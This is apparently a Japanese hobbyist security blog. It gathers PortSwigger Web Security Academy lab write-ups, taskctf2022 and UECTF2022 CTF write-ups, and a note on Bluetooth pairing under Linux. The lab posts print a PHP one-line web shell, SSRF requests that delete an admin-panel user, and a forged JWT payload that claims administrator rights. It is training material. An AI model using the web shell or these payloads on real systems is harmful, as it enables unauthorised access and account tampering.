ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Web Security Academy「Remote code execution via web shell upload」解いてみた

はじめに

Web Security Academyの「Remote code execution via web shell upload」解いてみました。

portswigger.net

難易度的に簡単なものが続いているのはご容赦ください。。 あと、ウェブシェルって色々あると思うんですが、使いやすいもの、多機能なもの、見た目がいい(かわいい)ものなど、おすすめがあったら教えてください。

Writeup

前提情報

  • ファイルアップロード機能に脆弱性あり(アップロードしたファイルを検証しない)

Walkthrough

以下のような簡単なウェブシェルを用意しておく。

<?php echo system($_GET["cmd"]) ?>

マイページのアップロード機能で、ウェブシェルをアップロードする。 本来アバターの画像をアップロードするための機能なので、アバター画像を別タブで開くとウェブシェルが開く。

あとは cat /carlos/secret すればいい……はずが、なぜか同名ファイルが存在しているみたいで、同じ内容が二度表示される点に注意。

taskctf2022 Writeup

はじめに

task4233さんが開催したtaskctf2022に参加していました。 問題数、難易度、期間全てが絶妙で楽しかったです。チュートリアルを置くお人柄も素敵です。ありがとうございました。そしてお誕生日おめでとうございました。:tada:

私はと言いますと、3問残し、ヒント2つ見て25位でした。ヒントを見た問題はfirstとanti_detectionで、どっちも解けませんでした*1

以下、解けた問題だけWriteup書いていきます(Tutorial除く)。解けなかった問題は、他の方や公式Writeupを読んで精進します。

osint

welcome

「taskctf 2019 writeup」とググって出しました。

ramen

Googleレンズで検索したら店名が出てきました。

kofun

まず画像を見て思ったことは以下のとおりです。

  • 古墳の周りはなんか森っぽい
  • 入口の上に木が生えてたっぽい

とりあえず、from:task4233 古墳 という条件でツイート検索をしました。 問題の画像に加えて、埴輪がこっち?を見てるシュールな画像が添付されていました。

お友達と一緒に行ったとのことなので、お友達がヒントになるようなツイートをしてるかもと思って、このツイート前後に古墳についてつぶやいているツイートを検索しました。結果、狙ったものはヒットしなかったものの、たまたま埴輪の画像と同じ場所っぽい画像を添付しているツイートが見つかりました。このあたりが龍角寺古墳群であることが分かりました。

ただ、「龍角寺n号墳」という感じですごくたくさんあるようです。Googleマップでしらみ潰しに見ようにも、きりがありません。

「千葉 古墳」などでGoogle検索していたら、有志の方が公開している、県毎に古墳をリストアップしたGoogleマイマップに辿り着きました。

www.google.com

千葉県の古墳リストを上から見ていると、どうやら「龍角寺111号墳」が森の中にあるっぽいです。問題の入口の周囲の雰囲気と近い気がして、「龍角寺111号墳」でGoogle検索すると、以下の画像が見つかりました。木の位置が問題の画像とドンピシャです。

www.google.com

このサイトから古墳名を確認してflag投げました。インターネットに感謝。

douro

画像を見て思ったこと。

  • 右側通行っぽいのでたぶんアメリ
  • ヤシの木みたいなのが生えてる。マイアミ?(偏見)
  • 信号が特徴的な気がする
  • ぜったい無理やん

最初マイアミを見てたんですが、どうも信号の感じが違います。

早々と方針を切り替えて「アメリカ 十字路」で画像検索していたら、かなり似てる信号が写っている画像が見つかりました。

www.google.com

この記事からはここがどこなのか分からなかったので、更に画像検索すると以下の記事にたどり着きました。Google検索でざっくり読んだ感じ、道の舗装か何かを頑張ったんですかね?とにかく、この似た感じの道路はIrvine Center Driveみたいです。

www.oe-eng.com

GoogleマップIrvine Center Driveにある十字路をひたすら見ていって、ここに辿り着きました。インターネットに感謝。

www.google.com

全ての問題に言えることですが、実際Writeupで書いているほどスムーズには進んでいないです。特にこの問題に関しては、from:task4233 旅行 とか from:task4233 留学from:task4233 渡航from:task4233 パスポートfrom:task4233 海外 などなど、task4233さんのそれっぽいツイートを延々探す時間があり、我ながらだいぶキモかったです*2

web

robots

TryHackMeか何かでrobots.txtに一杯食わされてからというもの、Web問は最初にrobots.txtを見るようにしていて。今回は問題名もそのものズバリだったので、確認すると/admin/flagというパスがあることが分かりました。

アクセスすると、internalからでないとアクセスできない様子。Burp Suiteを使って X-Forwarded-Forヘッダーを追加し、ローカルIPアドレス帯を一通り試した後127.0.0.1でflagが見られました。

misc

ransomware

暗号化スクリプトと、暗号化されたflagが提供されています。 暗号化のアルゴリズムは、C2サーバーから取得したkey(int)と、各文字のXORをとっているようです。 C2サーバーはすでに公開されておらず、以下がポイントっぽいと思いました。

  • 復号はどうやるのか?
  • keyは何だったのか?

まず復号については、XORは2回演算したら元に戻るみたいです。

keyについては、とりあえずパワー回答しようと思って、以下のスクリプトを書きました。

key = 0
data = None

while True:
    with open('taskctf_flag.txt.encrypted', 'r') as f:
        data = f.read()        
        plain = ""
        for ch in data:
            plain += chr(ord(ch) ^ key)
        if 'taskctf' in plain:
            print(f'key: {key}, flag: {plain}')
        else:
            key += 1
            data = None

これを動かして、無事復号できました。

key: 17772, flag: taskctf{x0r_1s_e4sy_70_1mplemen7}

*1:firstは残り2分ぐらいでエクスプロイトが通ったんだけど、100番目のユーザーを見つけてflagを登録するのが間に合わなかったの……本当なの……。

*2:今ですら、ポートフォリオを拝見してそっちで検索するのもありだったと思っている始末。

Web Security Academy「Basic SSRF against the local server」解いてみた

はじめに

PortSwigger Web Security Academyの「Basic SSRF against the local server」を解きました。

portswigger.net

Writeup

事前情報

  • 在庫確認機能は、内部システムにデータをフェッチする

Walkthrough

商品ページを見て、 在庫チェック機能のリクエストをプロキシして見てみると、POSTパラメータとしてフェッチ先のURLを指定している。

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

リクエストをRepeaterに送って、http://localhost/admin にしてみると、管理画面のHTMLが閲覧できる。

<section>
    <h1>Users</h1>
    <div>
        <span>carlos - </span>
        <a href="/admin/delete?username=carlos">Delete</a>
    </div>
    <div>
        <span>wiener - </span>
        <a href="/admin/delete?username=wiener">Delete</a>
    </div>
</section>

http://loaclhost/admin/delete?username=carlos にリクエストを送ったらcarlosを消せる。

stockApi=http%3a%2f%2flocalhost%2fadmin%2fdelete%3fusername%3dcarlos

Inspector(Repeater画面の右側に出てくるペイン)を使うと、エンコードなどを自動でやってくれるので便利。Decodedfromのほうを編集する。

Web Security Academy「JWT authentication bypass via unverified signature」解いてみた

はじめに

この記事は「shinobe179 Advent Calendar 2022」2日目の記事です。

adventar.org

まずは「Lab from all topics」のコンプリートに向けて、「JWT authentication bypass via unverified signature」を解きました。簡単な問題ですが、飲み会終わりにつきお許しを。

メモ

事前情報

  • アプリはJWTの署名を検証しない
    • つまり、書き換えが自由!

流れ

  • とりあえずwiener:peterでログインする
  • Cookieに入っているJWTをコピペして https://jwt.io/
  • ペイロード部の平文をコピーして、subadministratorへ書き換える
  • base64を生成する(後述)
  • ペイロードを差し替える
    • eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9
  • Cookieを差し替えると、/adminへアクセスできるようになる

base64の生成はこんな感じ。

$echo -n '{"iss":"portswigger","sub":"administrator","exp":1670003185}' | base64
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMx
ODV9

# 検証。改行文字がないのでプロンプトの$が続く
$echo -n eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9 | base64 -d
{"iss":"portswigger","sub":"administrator","exp":1670003185}$

宿題

Burp SuiteのInspectorで、JWTの編集ができるみたい。便利!

Web Security Academy「Forced OAuth profile linking」解いてみた

はじめに

この記事は「shinobe179 Advent Calendar 2022」1日目の記事です。

adventar.org

CISSP、eJPT以降、忙しさにかまけて精進が滞っていたので、アドベントカレンダーの力を借りてBurp Suite Certified Practitioner(BSCP)を取ろうかなと思います。

久しぶりにWeb Security Academyにログインしたら、Burp Challengeというコンテンツが出てきました。なんか商品とか試験クレジットがもらえたりするらしいです。今日は眠いんで土日にちゃんと読みます。

portswigger.net

「今のダッシュボードでも貼っとくか」と思ってスクショ貼って気づいたんですが、下段のExam preparation stepsが、BSCPを受ける条件の進捗を示してるんですね。

Lab from all topicsが未完了ですが、今日のところはとりあえずSpecific labsの中で終わってなかった「Forced OAuth profile linking」をやってみました。

portswigger.net

メモ

流れ

  • /oauth-linking?code=...というリクエストをインターセプトしてドロップする。
  • <iframe>でターゲットに表示させると、アンチCSRFトークンがないのでCSRFが成立する。
  • peterでログインし直すと、管理者のSNSアカウントが紐付けられていて、管理者パネルを操作できるようになっている。

不明点

  • どうしてこうなった
    • OAuthの本がKindleにあったはずなので、読んで復習しながらシーケンス図を書いて理解する。

UECTF2022 Writeup

はじめに

UECTF2022、shinozakiaiというユーザー名で参加して20位でした。Writeupを書きます。

uectf.uec.tokyo

逆Writeup(解けなかった問題を復習することを勝手にそう呼んでます)もセットで書くつもりだったんですが、丁寧、丁寧、丁寧にやりたいので別記事にしようと思います。

感想

私にはちょうどいい難易度で、比較的たくさん解けて面白かったです。特にMISCにユニークな問題が多かった印象です。運営の皆様、ありがとうございました。

WEB

webapi

HTMLにベタ書きされているFLAG_URLを見ればflag。

request-validation

ソースコードを読むと、GETパラメータ q がobjectならflagがもらえるみたい。

  if (req.query.q && typeof req.query.q === 'object') {$    
    res.send(FLAG)$

どうしたらobject扱いになるかなーと思って、ローカルで立ち上げた環境に ?q={'test': 'test'} など色々投げてたら、?q=test1&q=test2 でflag。

FORENSICS

Compare

バイナリ同士を比較する cmp というコマンドがあることを知る。見た目は一緒だけど、差分はあるみたい。

$cmp -l UECTF_org.bmp UECTF_new.bmp 
 101845 377 125
 102818 377 105
 103839 377 103
 104752 377 124
 105401 377 106
 106038 377 173
 106639 377 143
 107228 377 157
 107757 377 155
 108406 377 160
 109103 377 141
 109848 377 162
 110605 377 145
 111218 377 137
 111855 377 164
 112504 377 167
 113141 377 157
 113754 377 137
 114379 377 146
 115040 377 151
 115593 377 154
 116326 377 145
 116939 377 163
 117480 377 137
 118285 377 142
 118874 377 171
 119523 377 164
 120040 377 145
 120605 377 137
 121170 377 142
 121819 377 171
 122384 377 137
 123033 377 142
 123574 377 171
 124103 377 164
 124668 377 145
 125065 377 175

この 125 とか 105Pythonchr() したりすればいいのか?と思うもなんかうまくいかず。しかたがないのでorgとnewそれぞれの xxd の出力を保存して diff で比較した。差分になっている箇所が UECTF{ となっているので、温かみのある手作業でflagを組み立てた。

377ってなんだ?

$diff -u org new | grep ^+
+++ new 2022-11-26 15:35:15.396738997 +0900
+00018dd0: ffff ffff 55ff ffff ffff ffff ffff ffff  ....U...........
+000191a0: ff45 ffff ffff ffff ffff ffff ffff ffff  .E..............
+00019590: ffff ffff ffff ffff ffff ffff ffff 43ff  ..............C.
+00019920: ffff ffff ffff ffff ffff ffff ffff ff54  ...............T
+00019bb0: ffff ffff ffff ffff 46ff ffff ffff ffff  ........F.......
+00019e30: ffff ffff ff7b ffff ffff ffff ffff ffff  .....{..........
+0001a080: ffff ffff ffff ffff ffff ffff ffff 63ff  ..............c.
+0001a2d0: ffff ffff ffff ffff ffff ff6f ffff ffff  ...........o....
+0001a4e0: ffff ffff ffff ffff ffff ffff 6dff ffff  ............m...
+0001a770: ffff ffff ff70 ffff ffff ffff ffff ffff  .....p..........
+0001aa20: ffff ffff ffff ffff ffff ffff ffff 61ff  ..............a.
+0001ad10: ffff ffff ffff ff72 ffff ffff ffff ffff  .......r........
+0001b000: ffff ffff ffff ffff ffff ffff 65ff ffff  ............e...
+0001b270: ff5f ffff ffff ffff ffff ffff ffff ffff  ._..............
+0001b4e0: ffff ffff ffff ffff ffff ffff ffff 74ff  ..............t.
+0001b770: ffff ffff ffff ff77 ffff ffff ffff ffff  .......w........
+0001b9f0: ffff ffff 6fff ffff ffff ffff ffff ffff  ....o...........
+0001bc50: ffff ffff ffff ffff ff5f ffff ffff ffff  ........._......
+0001bec0: ffff ffff ffff ffff ffff 66ff ffff ffff  ..........f.....
+0001c150: ffff ffff ffff ffff ffff ffff ffff ff69  ...............i
+0001c380: ffff ffff ffff ffff 6cff ffff ffff ffff  ........l.......
+0001c660: ffff ffff ff65 ffff ffff ffff ffff ffff  .....e..........
+0001c8c0: ffff ffff ffff ffff ffff 73ff ffff ffff  ..........s.....
+0001cae0: ffff ffff ffff ff5f ffff ffff ffff ffff  ......._........
+0001ce00: ffff ffff ffff ffff ffff ffff 62ff ffff  ............b...
+0001d050: ffff ffff ffff ffff ff79 ffff ffff ffff  .........y......
+0001d2e0: ffff 74ff ffff ffff ffff ffff ffff ffff  ..t.............
+0001d4e0: ffff ffff ffff ff65 ffff ffff ffff ffff  .......e........
+0001d710: ffff ffff ffff ffff ffff ffff 5fff ffff  ............_...
+0001d950: ff62 ffff ffff ffff ffff ffff ffff ffff  .b..............
+0001dbd0: ffff ffff ffff ffff ffff 79ff ffff ffff  ..........y.....
+0001de00: ffff ffff ffff ffff ffff ffff ffff ff5f  ..............._
+0001e090: ffff ffff ffff ffff 62ff ffff ffff ffff  ........b.......
+0001e2b0: ffff ffff ff79 ffff ffff ffff ffff ffff  .....y..........
+0001e4c0: ffff ffff ffff 74ff ffff ffff ffff ffff  ......t.........
+0001e6f0: ffff ffff ffff ffff ffff ff65 ffff ffff  ...........e....
+0001e880: ffff ffff ffff ffff 7dff ffff ffff ffff  ........}.......

Deleted

ディスクイメージは binwalkforemost かけときゃええやろ精神で、 foremost で画像ファイルがいくつか発掘できた。漁ったらflagが描いてあるファイルがあった。

Discord 1

ワンライナーで画像ファイルを列挙して、片っ端から確認した。

$find . -name '*' -exec file {} \; | grep -o -P '^.+: \w+ image'
./Cache/f_00002b: PNG image
./Cache/f_00002c: PNG image
./Cache/f_00002f: PNG image
./Cache/f_00003a: PNG image
./Cache/f_00008b: PNG image
./Cache/f_00008c: PNG image
./Cache/f_00008d: PNG image
./Cache/f_00008e: PNG image
./Cache/f_00008f: PNG image
./Cache/f_000090: PNG image
./Cache/f_000091: PNG image
./deafen-off-light.png: PNG image
./disconnect-light.png: PNG image
./mute-off-light.png: PNG image
./tray-connected.png: PNG image
./tray-deafened.png: PNG image
./tray-muted.png: PNG image
./tray-speaking.png: PNG image
./tray-unread.png: PNG image
./tray.png: PNG image
./video-light.png: PNG image

Discord 2

grep

$grep -r UECTF .
grep: ./Local Storage/leveldb/000004.log: binary file matches

MISC

WELCOME

割愛。

caesar

以下のコードでflagをエンコードしている。なんかあんまり細かいこと考えずに、 letter[(index+14)%len(letter)] のとこを letter[(index-14)%len(letter)] にした関数を decode() として使ったら復号できた。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

def encode(plain):
  cipher=''
  for i in plain:
    index=letter.index(i)
    cipher=cipher+letter[(index+14)%len(letter)]
  return cipher

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
plain_text='UECTF{SECRET}'
cipher_text=encode(plain_text)
print(cipher_text)

こういうの、読むのも嫌になってしまうというか、自分がやりたいCTFはこういうのじゃねえ!と逃げてしまう。

reduction gone wrong 1

黒塗りの箇所をコピペすると「nope」がでてきてぐぬぬ……となった。 「ctf pdf 黒塗り」でググったらLibreOfficeでなんとかしたという記事がでてきたので、そのようにしてflag。

gen-ius.hatenablog.com

reduction gone wrong 2

Windows10標準のペイントで輝度をガンガン上げまくってflag。

GIF1

GIFの中で一瞬flagが表示される。GIMPをダウンロードするのが面倒だったので、Windows+Gで起動する録画機能で録画した。

WHEREAMI

ヒントを見て、これが「plus code」なるものだということが分かった。

plus code を使用して場所を検索、共有する - Android - マップ ヘルプ

1行が1地点を示しているとすると、たくさんあるし、いくつか試すと太平洋というだだっ広いところを示しているようだったので、きっと全部にピンを打ったらflagが浮かび上がるんだろうなと想像がついた。

ので、その方法を探すと以下のページにたどり着いた。スプレッドシートに列挙した地理情報を、まとめてインポートできるみたいだ。

Googleマップ:住所録から地図に一括マークアップする方法(マイマップ作成) - Fans!Google

やってみたらflag。面白い問題だった。

OSINT

IDを変更したTwitterアカウント( https://twitter.com/__yata_nano__ )をネトストする問題。

Wayback machineアーカイブを発見。

https://web.archive.org/web/20221026140525/https://twitter.com/__yata_nano__

ツイートの中身からは、新IDに関する情報は見つからず。色々ググっていたら、ユーザーに変更不可能なIDが割り当てられていることが分かった。

gigazine.net

アーカイブのソースを見てみたら、それらしきものが書かれている。

以下のURLにアクセスすると、新ユーザーIDのアカウントへリダイレクトされる。pastebinのURLをツイートしていて、そこでflagを入手した。UECTF なんかを検索することで辿り着かせないためだと思うけど、手が込んでいるなあと思った。自分だったら適当に検索避けするとか画像とかで済ませちゃいそうだけど、こういう方法もあるんだな。

https://twitter.com/intent/user?user_id=1585261641125416961

REV

A file

うおおおお

$ strings chall | grep UECTF
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

Linux(Parrot OS)とBluetoothキーボードのペアリングに苦戦し、最終的にbluetoothctlで勝利した話

Kali Linuxのaptが大崩壊したので、Parrot OSに乗り換えました。

移行作業は順調でしたが、唯一HHKBのペアリングがGUIBluetoothマネージャーではうまくいきませんでした。どうやら、ペアリング時のパスコードの入力に対応していないようです。

結論

以下のサイトを見つけて、 bluetoothctl を使って乗り越えました。

wimantis.ninja

細かいことは全然覚えてしログも取り損ねた(無能)んですが……だいたい以下のような感じでした。

  • HHKBを、ペアリング状態(LEDが1秒に3回くらい点滅するやつ)にしておく
  • bluetoothctl (プロンプトが変わる)
  • scan onプロンプトが変わる
  • devices (発見したデバイスMACアドレスの一覧を表示する)
  • agent on (「もともとonだよ」みたいなメッセージが出た)
  • connect 00:00:DE:AD:BE:EF (HHKBのMACアドレスを指定し、接続する)
  • ほっとくと勝手に プロンプトが [HHKB-Hybrid_{n}] になる
    • {n}はHHKBをペアリング状態にした時に使った数字キー
  • default-agent (なにか起きた感じはしなかったが、入力したら↓が起きた)
  • Passkey が表示されるので、HHKBで入力してEnterを押すとペアリング完了